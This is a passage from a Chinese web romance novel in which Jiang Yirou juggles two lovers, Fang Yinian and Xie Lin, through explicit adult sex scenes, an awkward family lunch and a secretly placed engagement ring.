尤其是姜以柔初次见他的时候,这个男人居高临下地睨着她,眼神冷淡,仿佛她是勾引了他好侄子的妖女,而他手里攥着一串凤眼菩提,那面无表情的模样,倒真像是高高在上的神佛。 但是现在,方隐年那张冷白禁欲的俊脸染上了欲色,深邃的凤眸死死盯着她,被欲望逼得赤红,近乎痴迷。 他掀开她的裙摆,盯向那里时凤眸几乎在冒火。 他喉结剧烈滚动了下,粗喘着俯下身。 姜以柔眯起眼睛,手指陷入他的发间,时不时揪一下他的头发,颤着嗓子提醒他怎么取悦自己。 方隐年倒是真的在认真“学习”,几乎对她言听计从。 大概男人对这种事情都会无师自通,很快他就渐入佳境,近乎渴求地索取着。 姜以柔这下再也没有功夫去“指导”他了,她胡乱抓着方隐年的头发,***。 **** 良久,他撑起身体,居高临下地盯着姜以柔的表情,缓缓问了一句话: “我学得如何?” 他嗓音沙哑,用一本正经的语气说着很暧昧的话。 姜以柔似乎是舒服过头了,那双总是盈着狡黠笑意的眸子有些失焦,愣愣地不知道在看哪里。 她头发凌乱,整个人像是从水里捞出来的一样,看着有些可怜,但也轻易激起人心底最深的欲望。 方隐年凤眸微深,抬手轻轻擦拭着她脸上的泪痕,动作小心而珍视。 方隐年温柔的抚摸多少唤回了姜以柔的神智,她眨了眨眼睛,转动眸子看向他。 此时的方隐年哪里还有平日里高高在上的矜持,他眸中带着浓重的欲色,而英俊的脸上沾染的那大片水痕,给那张禁欲的脸平添几分色气。 她这算是把纤尘不染的佛子……弄脏了吧? 姜以柔迎着方隐年充满侵略意味的眸子,身体更软了几分。 不得不说,看方隐年这样禁欲的人被勾得情动、疯狂……实在是很爽。 姜以柔主动抬手环住他的脖颈,用大腿内侧蹭了蹭他的腰,暗示意味很明显。 然而,方隐年顿了顿,问道:“还想要?” 说着他竟然再次俯下身,打算继续用嘴巴满足她。 姜以柔连忙扯住他,嗔怪地瞪了他一眼,红着脸娇喝道:“你蠢啊?我让你进来!” 她以为话说到这个份上,方隐年总该有所反应了,可是回应她的竟始终是沉默。 方隐年躺到她身边,将她揽在怀中,哑声说道:“睡吧。” 姜以柔:“……” 姜以柔:“???” 姜以柔不敢置信地转头瞪向他,本来想发火,但下一秒又顿住了。 她有些迟疑地问道:“方隐年,你……你该不会是不行吧?” 说起来,他也三十多了…… 被质疑不行,方隐年的面色倒是很平静,只是搂着姜以柔的手紧了紧。 姜以柔若有所思地眨了眨眼睛,突然探出手往他身下摸去。 既然他身体没问题,那为什么…… 姜以柔还没来得及多感受两下,方隐年面色微变,立刻抓住她的手,强行扯开了。 他用力箍住她的身体,不让她再乱动,沙哑的嗓音里带着几分威胁,“老实点。” 姜以柔昨晚就被谢凛隔着手机屏幕勾得情动,但没完全痛快,现在方隐年又不给她,实在把她吊得难受。 “方隐年,方总……”姜以柔缠着他,像来勾人元阳的妖精,变着法子磨他,“我想要……” 方隐年沉默了一会儿,然后—— 他再度俯下身,一副要继续用嘴巴抚慰她的架势。 姜以柔有些恼火,恨恨地踹了他一脚,怒道:“你下面是摆设吗?!” 方隐年面无表情地挨了她一脚,也不反抗,只再次将她抱紧。 接下来,不管姜以柔怎么缠他,哪怕方隐年裤子都快被撑破了,他愣是没有更进一步的动作。 为了让姜以柔不再闹腾,方隐年干脆又俯身狠狠吃了她一回,直把姜以柔弄得一塌糊涂,浑身直打颤。 她呜呜地哭着,终于没力气折腾了。 姜以柔浑身无力地瘫软在床上,张口喘着粗气,两眼无神。 方隐年随手抽出床头的纸巾,一点一点擦净脸上的水痕,那慢条斯理的动作竟有几分优雅。 然后,方隐年躺回床上,把姜以柔重新揽进怀中,覆在她耳边低声道: “以后想要了,就找我。” 方隐年顿了片刻,抿唇继续道:“不要找别的男人,那样……不好。” 姜以柔怔怔地出神,从方隐年的话中捕捉到了一点灵光。 她僵硬地转头看着他,有些不敢置信地问道:“方隐年,你该不会是觉得我和你是在偷情,这样很不道德,才……才不肯进来的吧?” 方隐年微微垂眸避开她的视线,一句话都没说。 但他的沉默已经是答案。 他还真是这样想的。 以方隐年的自尊和道德感,他不能容许自己做一个见不得光的情人。 可是他又无法眼睁睁看着姜以柔因为贪欢而找别的男人。 那样……很不好。 如果她一定要找别的男人,那这个男人只能是他。 所以,方隐年会主动帮姜以柔纾解,但他却死死克制着自己的欲望。 像是始终过不了心里的那道坎。 仿佛只要不真的发生什么,一切就都还有挽回的余地。 在方隐年看来,他和姜以柔值得一个更好的开始。 而不是在有其他男人的情况下,他作为一个卑劣的介入者,搅进这混乱的关系中。 他可以等,可以忍,直到……姜以柔身边只有他一个人的时候,再名正言顺地拥有她。 姜以柔用看傻子一样的眼神盯着他,半晌她无语地翻了个白眼,哼道:“随你便吧。” 反正她已经爽了,憋死他活该。 姜以柔冷哼一声,抱着被子翻了个身,背对着他睡,一眼都懒得多看他。 方隐年默默地盯着她的背影,轻轻地从背后揽住了她。 姜以柔挣了两下,但根本挣不开那双有力的臂膀,干脆就随他去了。 她也有些累了,很快就进入了梦乡。 不知过了多久,姜以柔是被一阵电话铃声吵醒的。 她一看来电显示,立刻清醒了大半——是谢凛。 方隐年早就醒了,此时发现了来电人,眼瞳微微颤了下,他抿着唇垂眸,似乎有些挣扎。 姜以柔清了清嗓子,若无其事地接起电话,笑着道:“喂,谢凛?” 谢凛低磁的嗓音从手机里传来,道:“你不在家吗?” 姜以柔心头一跳,莫名有股不好的预感,“怎么了?” “我已经到家了,你在哪儿?我去接你。”谢凛说道。 姜以柔:“……” 第87章 姜以柔拒绝了谢凛要来接她的好意, 只说自己一会儿就回家。 挂断电话后,姜以柔皱着眉从床上翻身而起,当她双脚踩在地面上时, 她腿一软差点摔倒。 一只有力的臂膀从背后揽住了她的腰肢,方隐年宽厚炙热的胸膛紧贴上她的后背,低哑的嗓音在耳边响起: “你要走了?” “对啊。”姜以柔随意地说道。 她心里多少对方隐年还存着怨气, 气他的固执和死板, 把她不上不下地吊在那里,却不肯真的给她解馋。 所以, 姜以柔微微侧身,微微眯起的眸子斜睨着身后的方隐年,眸光流转间媚意横生, 说出口的话却能将人气死: “谁让你不肯给我, 那我就只能去找愿意给我的人了。”姜以柔意有所指地瞥了眼他的下身,轻哼道,“人家才叫真正的男人。” 方隐年面色不变,勒在她腰上的手却瞬间紧了紧, 漆黑的凤眸死死盯着她, 深不见底。 姜以柔停下穿衣服的手,转而轻轻抚上了他的侧脸,吐气如兰地诱惑道:“方隐年, 只要你现在愿意……我就不走了。” “如何?”姜以柔挑眉睨着他,娇笑着发出邀请。 方隐年定定地看着她许久, 幽黑的眸底有情绪在激烈翻涌, 几乎要叫嚣着将他所有理智都湮灭。 但最终,方隐年缓缓闭了闭眼,强迫自己放开了姜以柔。 姜以柔瞬间变了脸, 狠狠冲他翻了个白眼,直接甩开他起身。 她一边穿衣服,一边捞起一旁的枕头砸在方隐年身上,怒道:“你也赶紧起床,送我回家!” 方隐年微微一怔,蹙眉问道:“你……让我送你回家?” 姜以柔眯了眯眼睛,神情不善地盯着他,“怎么,我使唤不动你了?” 方隐年无语了一瞬,随即道:“我是担心你……” “你不怕被他发现吗?”方隐年面色微僵,问道。 不知出于什么心理,现在方隐年一想起谢凛,就觉得心情复杂。 修佛多年的方隐年大概从未想过自己会有做人情夫的一天,所以心情十分煎熬,对于谢凛这个“正宫”的情绪更是微妙。 相比起方隐年的煎熬,姜以柔则一副完全不在乎的模样:“随便吧。” 方隐年微微一怔。 随便? 这简单的两个字,让方隐年的心脏瞬间凉了半截。 他突然意识到—— 大概,无论是他还是那个叫谢凛的男人,在姜以柔的心里,都没有那么重要。 否则她不会是如此无所谓的态度。 方隐年面色微沉,一瞬间竟有种喘不上气的感觉,下一秒却被她不耐烦的声音打断了思绪。 “方隐年,你听见我说话没有?赶紧送我回家!” 方隐年深吸一口气,掀开被子下床。 * 不久前,圣维尔学院。 姜渔走进教室的时候,有一些心不在焉。 昨晚姜以柔没有回家睡觉,只说跟朋友在外面玩,但是……是哪个朋友呢? 姜渔不动声色地瞟了眼不远处趴桌睡觉的校霸,眼里不由得闪过一丝同情,很快她就眼观鼻鼻观心地移开了视线。 正当她出神的时候,眼前突然出现一张放大的笑脸,是乐柠。 “小渔!我有一个惊喜要送给你!”乐柠双眼亮闪闪地说道。 姜渔差点脱口而出一句“什么惊喜?”,反应过来后,她及时刹车把话咽了回去。 她继续面无表情地拿出书本来学习,假装没有听见乐柠的话,态度极其冷淡。 乐柠早就习惯了她的无视,非但不沮丧,反而亲亲热热地抱住她的手臂,自顾自说个不停,像只欢快的小鸟。 姜渔低着头看书,眼神却时不时瞟向旁边的乐柠,看得出来,虽然她表现得很不耐烦,但实际上在偷偷听乐柠说话。 而且,她并没有挣开乐柠挽住自己的手臂。 乐柠神情激动,先是卖了会儿关子,然后不知从哪儿拿出两张精致可爱的请帖,郑重地交到了姜渔的手中。 她扬起一个甜美的笑容,眼睛里亮晶晶的满是期待,说道:“小渔,明天是我的生日,你和姜阿姨能来参加我的生日宴会吗?” 姜渔微微一怔,下意识地抬眸看向那两张请帖。 那请帖似乎是专门请人设计过的,上面画着一家三口的Q版形象,中间那个穿着公主裙的小女孩笑得很甜,非常有乐柠的神韵。 那么小女孩身后优雅端庄又恩爱亲密的一男一女……自然是她的爸爸妈妈。 姜渔抿了抿唇,生硬地别开视线,冷声道:“我没空。” 乐柠瞪圆了一双杏眼,丝毫不把她的拒绝放在心上,自顾自地安排道:“明天是周五,放学后我直接把你绑去我家,过完生日后,你就顺便在我家过夜好了,周末我们一起玩!你拒绝也没用,我知道你有空……” 这时,旁边的同学也加入了劝说大军:“小渔,一起去玩嘛!蹭吃蹭喝不快乐嘛?” “就是就是,一起嘛!” “对了,别忘了把姜阿姨也叫上,嘿嘿……” 姜渔被他们你一言我一句缠得头昏脑涨,不得已只能接下了请帖,绷着脸说道:“我会把请帖转交给我妈的,至于她去不去……我不能保证。” 说完之后,姜渔在心里默默补充了一句—— 不,她绝对不会把请帖交给她妈的。 虽然目前来看,她的生父和生母很神奇地并没有认出彼此,但是她不会冒一丁点儿风险。 她不允许自己目前的生活产生丝毫异动。 所以……乐柠的生日宴,她勉强可以去,但她不会告诉姜以柔。 乐柠却不知道她的内心所想,听到她答应了,立刻兴奋地点点头,“好!小渔我太爱你了!” 姜渔嘴角微抽,很是嫌弃地避开了她的熊抱。 当天中午,姜渔回家吃饭,吃饭中途,她家的房门突然被敲响了。 姜渔下意识地以为是姜以柔回来了,立刻撂下筷子去开门。结果房门一打开,竟看到一个有些陌生的男人。 高大的身形,英俊但冷硬的脸庞,还有那一身让人望而生畏的凌厉气场—— 竟然以前住她家楼上的那个奇怪的邻居?!好像是个叫谢凛的小混混…… 姜渔瞬间警惕起来,条件反射地想要关上房门,谢凛却闪电般伸出一只手,稳稳地扶住了门框,让她难以撼动分毫。 正当姜渔越来越慌时,姜母循声走近,问道:“谁啊?” 姜渔心里一紧,下意识地想让姥姥姥爷赶紧跑,没想到姥姥看到谢凛之后,竟然十分亲热地迎了上来。 “哎呀,是小谢啊?你出差回来了?快进来,正好我们吃饭呢,给你也盛一碗……” 姜渔:“……???” 什么情况? 姜渔一脸懵然地看着谢凛施施然进了门,脸上满是呆滞之色。 姜母这时才发现愣住的姜渔,顿时才反应过来,有些不好意思地介绍道:“小渔啊,之前我们一直瞒着你,是怕你会多想……” 但目前来看,姜以柔和姜渔的母女感情增进了许多,小渔应该能接受妈妈再婚的。 于是姜母就正式将谢凛介绍给了姜渔,说道:“这是谢凛,是你妈妈的对象,正经要结婚的呢!” “小谢也可上进了,说会挣大钱好好养你们的……”姜母絮絮叨叨地说着,努力在姜渔面前说谢凛的好话,生怕她心里不舒服。 姜渔心里倒是没有不舒服,她只是很震惊地盯着谢凛。 这是她妈妈的对象? 那……那方隐年呢?方镜麒呢?! 姜渔很早慧,素来沉稳得跟个小大人一样,如今却难得显出一副呆滞的模样。 她的世界观受到了强烈的冲击。 谢凛的面上依旧没什么太大的波动,却很客气地冲姜渔点了点头,眼神很温和。 姜渔猛地回神,眼神有些复杂地打量着这个男人。 她还记得第一次见这个男人时的场景,他浑身是伤,面颊上甚至带血,冷酷得宛如地狱里走出来的修罗,她只看一眼就吓得腿打颤。 如今……他却安安静静地坐在自己家里,刚才甚至还帮她姥姥剥蒜。 她妈也是挺牛的。 姜渔不期然回想起,姜以柔刚回来的那一天,因为突然靠近谢凛而被他掐着脖子按在墙面上。 当时他们都吓死了,然而她却知道,谢凛当天特意送了支药膏。 或许从那一刻起,他们之间就有了苗头。 正当姜渔思绪乱飞时,谢凛开口问道:“叔叔阿姨,以柔不在家吗?” 谢凛嗓音低沉,明明是很磁性好听的声音,却莫名有种压迫感。 他话一出口,空气有一瞬间的寂静。 因为姜以柔昨晚没回家。 姜父张了张嘴想说话,姜母却不动声色地伸手,借着桌面的掩饰,狠狠掐住了他的胳膊,还拧了一圈。 姜父疼得一哆嗦,老实巴交地埋下头,一句话都不说。 姜母深吸一口气,很镇定地笑着说道:“她啊,一大早就起床跟朋友逛街去了。” 姜母语气如常,絮絮叨叨地抱怨着:“这孩子就是趁不住钱啊,最近天天出去买这买那,你看看,这东西买了一堆都没地儿放,都搁地板上摆着呢……” 姜渔眸光微闪,强自定了定心神,突然也开口道:“我们马上要校庆了,她是去买礼服了。” 说着,她状似不经意地补充道:“她跟张茜阿姨逛了很多地方,可惜还没买到合适的。” 祖孙俩你一言我一语,十分默契地帮姜以柔圆了过去。 首先,她绝对没有夜不归宿,她是今早起床后才去购物的! 然后,她是跟一个叫张茜的女性朋友出去的。 说完之后,姜渔忍不住偷偷打量着谢凛的神情,心情难免有些忐忑。 其实,她也不知道姜以柔昨晚到底跟谁出去了,或许是跟普通朋友,也或许是不普通的朋友…… 但不管姜以柔做了什么,她只会无条件地站在姜以柔那边。 所以……她没有多想,本能地帮她遮掩了一番。 谢凛只点点头,平静地应道:“我知道了。” 他像是一汪深潭,所有情绪都掩藏在纹丝不动的湖面下,让人看不透他在想什么。 过了一会儿,姜渔看到谢凛起身去了阳台,大概是给姜以柔打了个电话。 她跟姥姥姥爷默默地对视一眼,又同时移开了视线。 他们只能默默祈祷,姜以柔没做什么出格的事情。 或者说……做了出格的事情后,能好好瞒住。 等谢凛从阳台打完电话回来,几人就有一搭没一搭地聊着天,实际上每个人的心思都飞远了。 很快,门口处传来门锁响动声。 所有人瞬间朝门口看去。 在几双直勾勾的眼神的注视下,姜以柔出现了。 她微笑着地踏进门,美丽的容颜让四周都更明亮了几分,空气里都泛着那股动人的幽香。 谢凛眼神微动,立刻起身朝她走去,在心底压抑多时的思念几乎就要爆发。 然而下一秒,他的脸色猛地冷了下来。 因为,姜以柔的身后竟然还跟着一个男人——正是方隐年。 姜以柔进门后,十分自然地转头对方隐年说道:“方总,谢谢你送我回来,东西放在玄关就好。” 她身后的方隐年背脊挺直,衣冠楚楚,依旧是那副清高矜持的精英派头,然而此时他手里却拎着大包小包的东西,全是姜以柔扫荡的“战利品”。 谢凛死死盯着方隐年,垂在身侧的手猛地攥紧成拳,绷起隐忍的青筋。 方隐年则无视了他,只俯身将购物袋放好。 气氛一时间有些凝滞。 姜父姜母和姜渔额上都冒汗了—— 闺女/妈啊!你怎么演都不演啊? 我们刚才还给你费力找补呢,你就这么直接让人上门了? 汗流浃背了。 第88章 一时间, 空气都仿佛凝滞了,安静得针落可闻。 姜父姜母和姜渔全都一脸菜色,不停地给姜以柔使眼色, 暗示她好好跟谢凛解释一下。 然而,姜以柔却丝毫不觉得有什么不对,神情无比自然地使唤着方隐年。 接下来, 她仿佛看不见谢凛难看的神情, 轻巧地迈步上前,一把抱住了谢凛的腰。 姜以柔仰头望向谢凛, 也不顾家人在场,踮脚在他面颊上亲了一口。 她笑得眯起眼睛,眸中像是落了星子, 明亮而动人, “你终于回来了,我好想你。” 在她乳燕投林般扑过来的瞬间,谢凛哪怕仍旧脸色阴沉,却还是本能地环住了她的腰。 柔软的躯体落入怀中, 他甚至能清晰地感觉到那窈窕的起伏, 沁人的幽香入鼻,瞬间勾起一股熟悉的躁动。 美人在怀,谢凛立刻就没心思纠结其他的事情了。 他难看的脸色缓和了些许, 垂眸深深地凝视她,低声道:“想你了, 就回来了。” 旁边, 方隐年俯身放购物袋的身形骤然顿住。 他缓缓直起腰,直直地望向那两人。 前不久还在他嘴下哭叫着承欢的人,如今却毫无顾忌地扑到了另一个男人怀中。 她冲着那个姓谢的男人笑得那么开心, 却再也没有回头看他一眼。 方隐年沉默地盯着那看起来很恩爱的一对男女,眼瞳微微一颤,那双狭长的凤眸冷得像是数九天的寒冰。 他明明很清楚,这个叫谢凛的男人比他更加名正言顺。 而他也打定了主意,会耐心地等他们分手,再……完整地拥有姜以柔。 而不是不清不楚地跟她在一起,以一种见不得光的身份。 可现在,方隐年只觉得眼前的一幕在疯狂挑动着他理智的神经,他几乎有种不管不顾地冲上前,把姜以柔抢回来的冲动。 什么礼义廉耻,什么道德底线,在她面前,似乎都没有那么重要。 方隐年死死盯着那两人,垂在身侧的手紧捏成拳。他面色紧绷,气场凛冽,浑身逸散着风雨欲来的可怕气息。 谢凛似乎察觉到了他的视线,猛地抬眼朝他望来。 两人的视线在半空相撞,那一瞬间的剑拔弩张,几乎连空气都冻结。 谢凛的唇角扯出一个冷硬的弧度,他缓缓抬臂,横在姜以柔的肩头。 然后,他一边紧盯着方隐年的眼睛,一边用力将姜以柔箍在了怀中。 明晃晃的示威和挑衅。 方隐年的表情还算冷静,可呼吸却悄然急促起来,脖颈处凸起的青筋更是昭示着他的隐忍。 他们之间的气氛简直诡异到了极点,像是绷到极限的琴弦,再有任何一丝风吹草动,就会蓦地爆发。 姜母轻咳一声,主动打破了这古怪的沉寂,强笑着说道:“这都到饭点儿了,要不先吃饭吧……” 姜以柔正好也饿了,便从谢凛的怀中挣脱开,径直往饭桌前走去,“吃饭吧,正好我饿了。” 谢凛只觉得怀中一空,他的心仿佛也随着姜以柔的离开空了一块。 他的目光追随着那道窈窕的身影,见她已经坐在餐桌旁开始吃饭,颊边鼓鼓的,不由得轻轻勾了勾唇角。 下一秒,他的脸色再次冷了下来,他眸光沉沉地盯了眼方隐年,满是警告之意,然后便也转身走向了餐桌。 姜母有些尴尬地看着方隐年,试探地问道:“方先生,要不……你也一起吃点儿?” 方隐年眸光微动,他没有第一时间回应,而是默默地看向了姜以柔。 幽黑的凤眸直勾勾的,仿佛再问她: 我可以留下吗? 姜以柔倒是无所谓,含糊地说道:“你想吃就过来吧。” 方隐年昨晚多少也算是卖力了,舔得她很舒服,管他一顿饭还是可以的。 只是她话一出口,谢凛的面色立刻沉了下来。 他的手骤然捏紧,手背上青筋暴起,几乎把筷子折断。 他胸膛剧烈起伏着,眸光沉沉地盯着姜以柔,明显带着怒意。 也难怪,从看到方隐年送她回家的时候,谢凛就很不爽了,现在她竟然还要留他吃饭…… 谢凛腮侧微鼓,牙都快咬碎了,可是他只能把所有戾气都死死压在心底。 因为他很清楚,姜以柔就是这样的性格。 她就像是一缕握不住的清风,永远都这么随心所欲,永远都无所顾忌,不会为了任何人妥协。 甚至于……她到现在都没有承认两人的关系。 谢凛深吸一口气,强压下了心底的躁意。 在他冰冷的逼视下,方隐年神情自如地走向了餐桌,且毫不客气地就坐在了姜以柔的旁边。 两个男人一左一右地坐在姜以柔身旁,每个人都面无表情,眼神冰冷,像是两尊煞神。 姜父姜母以及姜渔互相对视一眼,都从彼此的脸上看到了尴尬之色。他们默默地落座,一声不吭地开始吃饭。 姜母硬扯出一个笑容,客气地说道:“方先生,别客气啊,多吃点。” 方隐年轻轻点头,礼貌回应道:“谢谢。” 他夹了一筷子面前的菜,慢条斯理地放入口中,一举一动都透着股久居上位的从容。 从方隐年在桌前坐定开始,谢凛便冷着脸一动不动,再也没吃过一口菜。 姜以柔见状挑眉一笑,主动帮他夹了一块排骨,放到他碗里,笑着说道:“快吃饭吧。” 谢凛淡淡地瞥了她一眼,依旧不为所动。 他还吃什么饭?气都气饱了。 姜以柔轻轻“啧”了一声,又把那块排骨从他碗里夹走,作势要放进方隐年的碗里。 她眯着眼睛笑起来,特别坏心眼地说道:“你不吃的话,我给方总吃咯?” 谢凛微微一怔,瞬间被她气得呼吸不畅,漆黑的眸子里隐隐透着愤怒的猩红色。 方隐年同样愣了愣,然后……他的目光不受控制地落在姜以柔筷子夹着的那块排骨上。 姜以柔笑眯眯地夹着排骨晃了一圈,非常恶趣味地欣赏着谢凛生闷气的模样。 最后,她终于将那块排骨递到谢凛的嘴边,柔声哄道:“好啦,不逗你了,快吃吧。” 谢凛死死盯着她,恨恨地咬了咬牙—— 她这算是什么?在训狗吗? 然而,一对上姜以柔笑意盈盈的美丽脸庞,他一腔怒火像是漏了气的皮球,慢慢地全泄干净了。 他睫羽微颤,有些不自在地张嘴,咬下了她夹着的那块排骨。 姜以柔笑得更开心了,她特意凑到谢凛的耳边,用只有他能听到的气音说道:“谢凛,多吃点儿,一会儿才好卖力气嘛。” 姜以柔直勾勾地睨着他,眼眸里盈着动人的水光,带着欲说还休的深意。 谢凛瞬间懂了她的暗示,他喉结激烈地滚动了两下,盯着她的眸子骤然变得幽深。 姜以柔轻笑一声,与谢凛的视线勾缠间,那若有似无的暧昧几乎要溢出来。 方隐年默默地看着这一幕,放在桌下的手猛地紧了紧。 嫉妒开始在心里疯狂滋长,一点一点蚕食了他的理智。 方隐年深吸一口气,面上仍不动声色,一只手却借着桌面的掩饰,无声地探了出去。 下一秒,他悄无声息地握住了姜以柔的左手,没有被任何人发现。 姜以柔原本正笑着跟谢凛对视,此时却怔了怔。 谢凛敏锐地察觉到了她的异样,哑声问道:“怎么了?” 姜以柔立刻若无其事地笑了笑,“没事。” 她很自然地后撤,与谢凛拉开距离,一本正经地催促道:“快吃饭吧。” 谢凛惦记着吃饭后“卖力气”的事,也不别扭了,开始正常吃饭。 姜以柔慢慢地吃着饭,表情却带着一些古怪。 因为此时此刻,她放在桌下的左手正被人牢牢牵着。 那掌心很热很烫,将她的手紧紧包裹,力道中充满了占有欲。 姜以柔不动声色地瞥了眼旁边的方隐年,有些玩味地勾了勾唇角。 方隐年表情平静,一点儿都看不出他桌下的手在做什么。 他刚才握住姜以柔的手,只是一时冲动,想让姜以柔离那个男人远一点,不要那么亲密。 现在,他的目的达成了。可是…… 他却不想放开了。 方隐年的眸中看不出明显的情绪,只有那只手越攥越紧。 这一顿饭,就在众人的各怀鬼胎中结束了。 方隐年有些不情愿,但他没有理由继续留下,只能提出了告辞。 离开前,他深深地看了姜以柔一眼,凤眸中涌动着复杂的情绪。 等到方隐年的身影消失,姜父姜母也松了口气,他们随即小心翼翼地打量起准女婿的神色。 生怕谢凛会因此而生气。 好在谢凛看上去很平静。 这时,谢凛也适时地提出告辞,而姜以柔主动说要送一送他。然后,姜以柔就把他送到了楼下的房子里。 两人始一踏进谢凛的家,谢凛就像一只再也压不住兽性的狼,一把将她按在了门板上。 谢凛缓缓俯身逼近,高大的身躯携着冷冽的气息扑面而来,像是野兽按住猎物时的鼻息。 “他是怎么回事?”谢凛眸色沉沉地盯着她,一字一句地问道。 他始终很在意,为什么会是方隐年送她回家。 姜以柔仰头看着他,眨了眨眼睛。她抬手环住他的脖颈,娇嫩的唇瓣贴上他的唇,一边轻轻厮磨着,一边娇声道:“我让他陪我去买礼服嘛……” “谁让你不在的。”姜以柔眯起眼睛,笑得没心没肺。 谢凛盯着她,腮侧微鼓,气得直咬牙。 下一秒,他忍不住狠狠吻上她的唇,疯狂掠夺着她口中的津液。 一个近乎撕咬的深吻后,两人都气喘吁吁的。 谢凛在她唇上轻轻啄了下,低声道:“下次不许找他,喊我就行。” 姜以柔轻哼一声:“那你要是在外地呢?” 谢凛轻喘两声,喉间溢出不甚明显的笑意,“只要你需要,我爬也要爬回来。” 紧接着,他密密麻麻的吻落在她的脸侧、颈间,一路往下。 姜以柔抱着他的脑袋,享受地眯起了眼睛。 片刻后,他动作微滞,随即垂眸望向姜以柔,眸光微深,问道:“怎么肿了?” 姜以柔:“……” 第89章 【请点→】 谢凛的手很不老实地撩开姜以柔的裙摆。 他对这个地方很熟悉, 熟门熟路地探进去,立刻就察觉到了不对劲。 “怎么肿了?”他微微拧起眉头,沉声问道。 那双盯着姜以柔的眼睛又黑又沉, 像暗中锁定了猎物的野兽,侵略性十足。 姜以柔闻言微微一怔,竟难得也有语塞的时候。 她仰头默默地盯着谢凛, 那张脸极其英俊, 五官立体,线条硬朗, 一双浓墨重彩的狭长黑眸,微微眯起时最有压迫感,像个十足的暴君。 姜以柔突然想到——如果她跟谢凛说实话, 那他会很生气吧? 他如果真的生气了……会更用力吗? 姜以柔轻咬着下唇, 娇媚的脸上没有丝毫被质问的惶恐,反而泛起莫名的红潮。 然而,其实她想多了,谢凛并不是在质问她, 只是单纯地关心。 这时, 谢凛已经屈膝半蹲下身体,竟然在认真地打量那里的情况。 幸亏方隐年那个死脑筋从始至终都没进去,否则……方隐年的尺寸, 谢凛不可能看不出端倪。 果然,谢凛俯身仔细查看了一番, 又轻轻地摸了两下, 并没有多想。 此时此刻他半跪在地面上,高大的身躯在她面前俯首称臣。 谢凛探出两根手指轻轻地揉着,仰头深深地望着姜以柔, 剑眉轻挑,狭长的黑眸中带着细碎的笑意。 “自己玩得很开心?”谢凛轻笑一声,微哑的嗓音十分性感。 姜以柔愣了一瞬,这才反应过来,他似乎自动把原因归结到了那天晚上他们俩的一通电话。 姜以柔来不及多想,强烈的快意瞬间侵袭了她的大脑,让她再也说不出一句话。 姜以柔有些难耐地仰起头,纤长的脖颈拉出一个脆弱的弧度,像是濒死的天鹅,诱人攀折。 她轻轻咬住下唇,一双略显迷蒙的水润眸子睨向谢凛,像是勾魂的妖精,她嗓音微颤着说道:“自己玩的……没有你弄得舒服……” 谢凛的眸光瞬间暗沉下来,凶狠得像是要把她生吞了。 他凸起的喉结滚动了下,揽住她的腰猛地一紧,唇熟练地贴了上去。 谢凛吃得很投入,像是在吃全天下最美味的食物。 过电一样的酥麻感沿着脊背迅速攀升,姜以柔脑海里像炸开了烟花,瞬间变得一片空白。 她腿一软,哪怕背靠在门板上,还是止不住地向下滑落,顿时全身的重量都压在了谢凛的唇上。 她甚至可以感受到谢凛高挺的鼻梁和硬朗的轮廓。 想到此时此刻她和谢凛的姿势,饶是姜以柔也忍不住有些脸红。 姜以柔胡乱拽了拽谢凛硬刺的头发,支吾着拒绝:“好了,不要了。” 谢凛有些意外地挑了挑眉,顺着她的力道起身,结实的身躯压下,烫得姜以柔一颤。 “怎么,不舒服?”谢凛轻声问道。 姜以柔摇了摇头。 不,很舒服,只是现在她更想要别的。 姜以柔环上谢凛的脖颈,整个人贴在他身上,还在那存在感极强的地方轻轻蹭了两下,几乎算是明示了。 谢凛呼吸微重,立刻倾身压下,堵住了她的唇瓣,凶狠地掠夺着她的香甜。 他试探地靠近,身体微沉,终于彻底占有了她。 两人紧紧相拥,呼吸急促,身体都在微微颤抖,同时发出一声满足的轻吟。 姜以柔的眼角都被逼出了泪花,这两天被吊得不上不下的空虚,此刻终于被填满。 她高声哭叫起来。 谢凛挑了挑眉梢,似乎有些不敢相信,笑着问道:“今天怎么这么激动?” 姜以柔失神的眼眸逐渐聚焦,她抬手轻柔地摸着谢凛英俊的脸庞,笑着说道:“因为想你了啊。” 谢凛瞬间沦陷在她的温柔之下。 他再也难以自控,两人激烈地纠缠着,甚至等不及去往卧室,在玄关处就落了一地的衣物。 谢凛将她摁在门板上翻过来覆过去了近一个小时,到最后姜以柔嗓子都哭哑了,一双腿也直打颤,只能挂在谢凛的身上。 谢凛把下颌搭在她的肩窝,时不时偏头在她颈侧落下炙热的吻,一双狭长的眸子微微眯起,凌厉之色尽数褪去,只剩浓浓的餍足。 随即,谢凛一把抄起她的膝窝,将她抱回了卧室的床上,又开始了新一轮的征伐。 直到最后,姜以柔眼睛都快睁不开了,浑身瘫软地缩在床上,那娇弱地喘息的模样,实在是可怜,却也能轻易激起人心底最深的欲望。 谢凛躺在她身边,漆黑的眸中燃着仿佛永远不会熄灭的□□。 但是,看到姜以柔这副被欺负狠了的模样,他还是放过了她,只俯身轻轻地在她额头印下一个吻。 然后,谢凛便轻手轻脚地下了床,没有惊动迷迷糊糊的姜以柔。 他站起身扫视一圈,却没发现自己的衣服,只能走去玄关,把两人的衣服一件件捡起来。 谢凛把手伸进外套的兜里,从里面翻出来一个丝绒的红色小盒子。 这个小盒子在他宽大的掌心显得格外小巧,他小心翼翼地捧着,还用指尖轻轻摩挲了两下。 他轻轻叩开那个丝绒盒子,里面正安静地躺着一枚钻戒,是很稀有的粉钻,成色、大小以及完整度都很极品。 单是这样一颗粉钻,保守估计都比谢凛当初送出的那张存了六千多万的银行卡更贵,现在这颗粉钻被做成了一枚精致华丽的戒指,价格绝对更加夸张。 看来谢凛的事业发展得还不错。 谢凛静静地端详着这枚美丽的钻戒,良久,手掌蓦地收紧,紧抿的薄唇显出几分挣扎。 他握着这枚戒指走进卧室,径直来到床边。姜以柔已经睡着了,娇美的面上还残留着欢愉后红晕,分外惹人怜惜。 谢凛专注地凝视着她,忍不住用指尖蹭了蹭她的脸颊。 见她有些不适地皱起眉头,他才缓缓收回手。 然后,谢凛轻柔地握住她的左手,在她微凉的手指上轻轻摩挲着。他静静地垂眸看着那双白玉般完美的手,神情有些复杂。 当他决定买下那枚钻戒的时候,要说心里没有点妄想……是不可能的。 可他也很清楚,那只会是妄想罢了。 哪怕如今他们俩已经什么都做过了,姜以柔却从未给过他任何承诺。 甚至他们都算不上情侣关系。 思及至此,谢凛眸色微深,攥着戒指的手不断用力收紧。 良久,他深吸一口气,眼底汹涌的情绪慢慢沉寂下来。 他捻起那枚戒指,轻轻地将它套在了姜以柔左手的无名指上。 谢凛的动作轻柔而小心,透着股近乎虔诚的珍视。 